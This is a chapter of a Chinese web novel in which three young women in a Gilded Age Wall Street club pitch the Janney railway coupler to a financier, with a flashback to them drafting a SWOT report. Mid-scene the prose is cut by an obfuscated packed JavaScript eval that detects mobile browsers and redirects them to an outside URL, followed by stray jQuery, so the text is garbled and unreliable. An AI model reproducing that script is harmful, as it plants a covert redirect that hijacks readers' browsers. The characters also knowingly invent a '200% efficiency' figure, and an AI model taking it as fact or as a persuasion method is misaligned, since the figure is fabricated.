范里安先生的办公室深藏在华尔街一家私人俱乐部的二楼。
厚重的橡木门推开时，浓重的雪茄气息扑面而来。
这是一个属于男人的领域。墙上挂着蒙大拿灰熊的头部标本，玻璃柜里陈列着全美铁路扩张的微缩立体模型，红木办公桌中间拱卫着一块黑板，上面是手绘的最新股票走势图。当玛蒂尔达夫人带着三位年轻女士走进来时，俱乐部里此起彼伏的交谈声明显暂停了一瞬。
马蒂尔达夫人太熟悉这种混合着惊讶与审视的沉默了，就像多年前她第一次踏入这个房间时一样。她微微抬起下巴，嘴角泛起一丝几乎无法察觉的讥诮，目光无视那些故作矜持的绅士们。
她用只有埃莉诺才能听到的声音说，「我说过我不喜欢这个地方。」
「我亲爱的玛蒂尔达。」范里安先生从宽大的皮椅里站起身。他穿着剪裁考究的三件套西装，领带上别着一枚小巧的金质领带夹，派头十足。「上午施耐德给我传口信，说你要来我办公室拜访，真让我大吃一惊。你有什么事儿，大可以晚些时候到家里谈，非要闯进华尔街这个野蛮人的巢穴？」
他的语气带着家人般的调侃，眼神轻轻地扫过玛蒂尔达身后的三个年轻姑娘。
玛蒂尔达夫人却皱眉，「拜托，查尔斯，我们就站在这里说话吗？」
范里安先生尴尬一笑，带着她们来到一间会客室。
这间会客室不大，围着茶几摆了几张皮椅。
玛蒂尔达夫人优雅地落座，整理着裙摆。「查尔斯，我这次可不是为自己而来。是埃莉诺‘请求‘我，务必带她们来见见你。」她特意加重了「请求」二字，「她说，有笔生意要和你谈，你听了肯定会感兴趣的。」
范里安先生扬起眉毛，转向埃莉诺。「原来是我们的小埃莉诺有美丽的生意经要念。」他摇铃唤来秘书，「罗伯特，给女士们准备咖啡和茶点。」
又特意问埃莉诺，「需不需要来些糕点？俱乐部新来的厨师，马卡龙做得不错。」他的态度温和，仿佛她们是来参加茶会，而非商务会谈。
他亲切得像个宠溺的长辈，但那份漫不经心的松弛，让安妮她们意识到他根本没把这次会面当真。
安妮和埃莉诺互相交换了一个眼神。
埃莉诺始终挺直脊背，双手优雅地交叠在膝上。「谢谢您，范里安先生，我们不是来喝下午茶，浪费您的时间的。」她的声音轻柔却坚定，「我们带来了一份礼物 —— 一个能让范里安铁路公司在新时代保持领先的机会。」
「哦？礼物？」范里安先生轻轻笑了，指尖摩挲着水晶烟灰缸的边缘。「亲爱的，在我这个年纪，最警惕的就是「免费的礼物」。说说看，你们想要什么？」
「在讨论我们的诉求之前，」埃莉诺的声音依然柔和，「请允许我分享几个数字。去年，因为老式链式车钩事故，全美有三千二百名铁路工人死伤。每起事故的平均赔偿和停工损失约一百五十美元。仅此一项，铁路行业每年损失超过四十八万美元。」
会客室里的空气突然凝固了。
范里安先生指尖的动作停了下来。他脸上的笑容淡去，身体不自觉地微微前倾。那个敷衍的长辈消失了，取而代之的是一个警惕的商人。「这个数字…… 很具体。」他沉吟道，「但技术的问题，可不是儿戏。我没有瞧不起你的意思，但女士们，有时男士也一样，很难理解机械的复杂性……」
「您说得非常对。恳请您先听听我们的分析。」埃莉诺微笑侧身，看向安妮，「请允许我的事务助理，安妮小姐……」
安妮站了起来。她的衣着朴素，站在这个奢华的会客室里却丝毫不显局促。她先屈膝一礼，然后语气平静的开口： 「范里安先生，我们不是在做数字游戏，而是在分析趋势。现有数据显示：七成铁路事故与链式车钩有关；铁路工会的抗议活动比三年前增加了两倍；国会已经有五位议员公开呼吁制定更严格的安全标准。当技术缺陷、劳工诉求和政治压力同时出现时，一部强制使用安全车钩的法案，很难不被摆上台面！面前是必然到来的风暴，如果准备充分，也是一场巨大的机会。而在所有备选方案中，我们找到了 —— 詹内车钩」
马蒂尔达夫人无声喝茶，但是眉毛已经高高耸立。
范里安先生的瞳孔微微收缩。这番逻辑严密的推演，比任何煽动性的预言都更具冲击力。他沉默了近半分钟，才缓缓开口：
「很精彩的...... 分析。」他选择了安妮用的词，以示认可，然而他身体重新靠回椅背，双手交叠，露出了一个更具审视意味的表情，「但是，年轻的女士们，铁路安全是一个公认的难题。我听说过的解决方案就不下五种 —— 螺旋式、磁力式，甚至气动式。你们凭什么认定，这个…… 詹内车钩，就是最终的答案？」
面对这个关键问题，安妮的眼神没有丝毫动摇。为了回答这个问题，她和埃莉诺，米芙已经忙了好几个晚上，早已准备好了话术。
「您提到的其他方案，各有其致命的缺陷，先生。」安妮重温起前世做开题报告时的表情和语气，把对面当作自己可以争取经费的导师，「螺旋式车钩需要工人手动旋转数十圈才能连接，效率极其低下，在繁忙的编组站根本无法推广。磁力式车钩的吸力不足以拉动满载的列车，且成本高昂。至于气动式，它需要为每节车厢配备复杂且容易故障的空气管道系统，维护成本是不可想象的。」
她稍作停顿，让范里安先生消化这些行业内的确切痛点，然后掷出了最关键的理由。
「而詹内车钩的核心优势在于它的「简单」与「必然」。」
「它的结构就像一个巨大的、坚固的拳头。当两节车厢轻轻相撞时，这个「拳头」会自动闭合、锁定，整个过程不需要任何工人冒着生命危险站在车厢之间操作。它不需要外接动力，不依赖复杂的机械或昂贵的磁石，仅仅依靠精妙的几何结构工作。」
「这意味着它几乎不会损坏，维护成本极低，并且据发明人透露，其可靠性已经在宾夕法尼亚的几条支线铁路上得到了初步验证。我们认为，当立法风暴来临时，决策者和铁路公司老板们会选择一个他们看得懂、买得起、并且确定能工作的方案。詹内车钩，就是这样一个「必然」的方案，它的优势不是可能更好，而是几乎不可能失败。」
可能范里安先生自己也没有意识到他在跟着安妮的说话节奏微微点头。最终，他脱口问出了他最关心的问题，属于一个资本家的问题，「可我看到的都是远方的好处，别人的好处。近在咫尺的，我自己的好处在哪里？」
安妮没有继续回答她，而是点头示意埃莉诺。
埃莉诺将一份文件轻轻推过光滑的茶几。
这份文件本身就是一个惊喜，它与这个房间里任何文书都不同。它使用了三种不同颜色的墨水，配着手绘的图表和分区快的排版，在这个满是黑白文件的世界里格外醒目。
在标注为「优势」的区域，一幅简洁的对比图生动展示了新旧车钩的效率差异：左边是工人费力地操作链式车钩，右边是詹内车钩轻松耦合的场景，旁边用加粗的字体标注着「效率提升百分之二百」。
在「机会」区，一幅简笔美国地图上，用醒目的红色线条标出了正在爆炸性增长的铁路网，脉络清晰，气势磅礴。
安妮的指尖点在图下一段文字上，那里用加粗的大字写着「市场潜力巨大」。她复述文字：「这不仅是安全，更是效率革命 —— 能将列车编组时间从小时压缩到分钟。未来二十年，每一条新铺设的铁轨，每一节新制造的车厢，都将是这座金矿的潜在客户。」
范里安先生拿起这份前所未见的分析报告，手指竟出现了轻微的颤抖。上面用图表的形式，将包括技术优劣势信息在内，他问过的问题，没问过的问题一一列出。他受到的不仅是信息冲击，更是思维方式和信息呈现形式的全面颠覆。
「罗伯特！」他提高声音召唤秘书。年轻的秘书快步走进来，脸上带着些许紧张。「立即去核实这上面提到的数据，尤其这里提到的……对，市场潜力这里。」
秘书记下关键信息后，匆忙离去。等待期间，范里安反复审视着那份彩色报告，不时提出几个尖锐的问题。当秘书带着几份行业报告回来时，他的表情有些微妙。
「先生，」他低声汇报，「她们提供的数字...... 至少在伤亡和赔偿数字一项，与保险业和工会的内部
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666826|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
数据基本吻合。」
范里安深吸一口气，像是要做最后的抵抗。「不得不说，你们的准备之充分，让我…… 印象深刻。」他谨慎地选择着措辞，「但是，我要去哪里找到这个发明人詹内，并让他同意合作呢？」
这时，一直安静坐在角落的米芙有了动作。她从随身携带的文件夹中取出一封信函，礼貌而客气地说：「范里安先生，您无需寻找。我们已经找到了詹内车钩的发明者伊利·汉密尔顿·詹内先生。并且，在我们的说服下，收到了他同意以「五百美元首付，加上每套车钩零点五美元分成」的条件进行合作的同意信。」
范里安先生下意识地伸手去接信。
然而，米芙的手腕轻轻一转，不着痕迹地将信件收了回去。
「我的上帝……」玛蒂尔达夫人忍不住低呼，她转向范里安，眼中闪烁着难以置信的光芒，「查尔斯，看在上帝的份上…… 我几乎要不认识她们了！」
范里安的手停在半空，缓缓收回。他端起水杯，慢慢饮了一口水。
/
与范里安先生见面的前一晚，布鲁克公馆静悄悄的，唯有小书房还亮着微光。三个女孩挤在书桌旁，头几乎紧紧贴在一起。几周前曼恩公司的布朗宁先生派人送来的那封关键回信就摊在她们面前，信上附着的詹内先生的通信地址，正是她们后来所有行动的核心依托。
安妮拿起一支笔，在一张白纸上利落地画下一个十字框架。她用笔尖点着划分出的四个区域，向另外两位女孩解释。「这叫SWOT分析，能帮我们理清思路。优势、劣势、机会、威胁。我们要把詹内车钩这项专利的有利条件、不足之处、外部可能的机会和风险都列出来，这样才能让范里安先生看到我们的周密，更有说服力。」
「我来！」米芙接过笔，由安妮口述，她来速记。正是凭借她精准高效的文书能力，她们才得以在无人察觉的情况下，与詹内先生完成了四轮秘密通信，并初步敲定了那份对投资人极具吸引力的合作报价。
当写到「效率提升200%」时，她的笔尖停住了。她抬起头，眼中带着忧虑。「安妮，这个数字……我们并没有实际数据支撑，是不是太夸张了？万一被追问，我们无法证明。」
安妮放下手中的资料，目光扫过两位同伴。「实验性数据，我们没有，他们就有吗？这是个野蛮生长的产业，没人来得及去验证这个数字。数字背后，我们要展示的是前景，是可能性。詹内车钩本身的技术优势是真实的，它的自动联结和安全性远超需要工人冒险手动操作的旧式车钩，这才是核心。」她内心掠过一丝庆幸：感谢这个没有广告法的时代，让她们能放手一搏，而不必被扣上虚假宣传的帽子。她伸手指向米芙面前的纸，「所以，在这里多补充詹内车钩具体的技术优势，比如它的坚固结构和通用性，证明它的无可替代性，那个200% 就是为了让人一眼看到潜力。」
米芙思考了一下，点了点头，笔尖重新在纸上沙沙移动，将技术细节逐一列出。
一直保持倾听状态的埃莉诺，这时轻声开口：「那么，劣势呢？我们真要写？」
安妮转向她。「劣势也要诚实写，比如它需要改造现有的车辆连接处，初始成本较高。但我们同时要写明，这与它带来的长期安全和效率收益相比，是值得的。这会让我们的方案显得更可信。」
/
华尔街，俱乐部内。
突然，范里安先生朗声大笑起来，甚至鼓起掌来！
清脆的掌声在会客室里显得异常响亮。
马蒂尔达夫人被吓了一跳，捂住胸口，「哦，查尔斯！」
「玛蒂尔达，请原谅我难以抑制的赞美！」他站起身，绕过茶几，走到她们面前，「我原以为这又是一场小姐们的趣味游戏。但我错了。你带来的不是三个异想天开的女孩，而是一个目标明确、准备周全的团队。」
「罗伯特，」他再次召唤秘书，声音略显沙哑，「为几位女士换一壶新咖啡。再把在办公室的董事都请来！」
秘书领命出去后。他环视一周，最后目光定格在安妮身上，问出了另一个关键的问题：
「那么小姐们，请问你们又想从中获得什么？」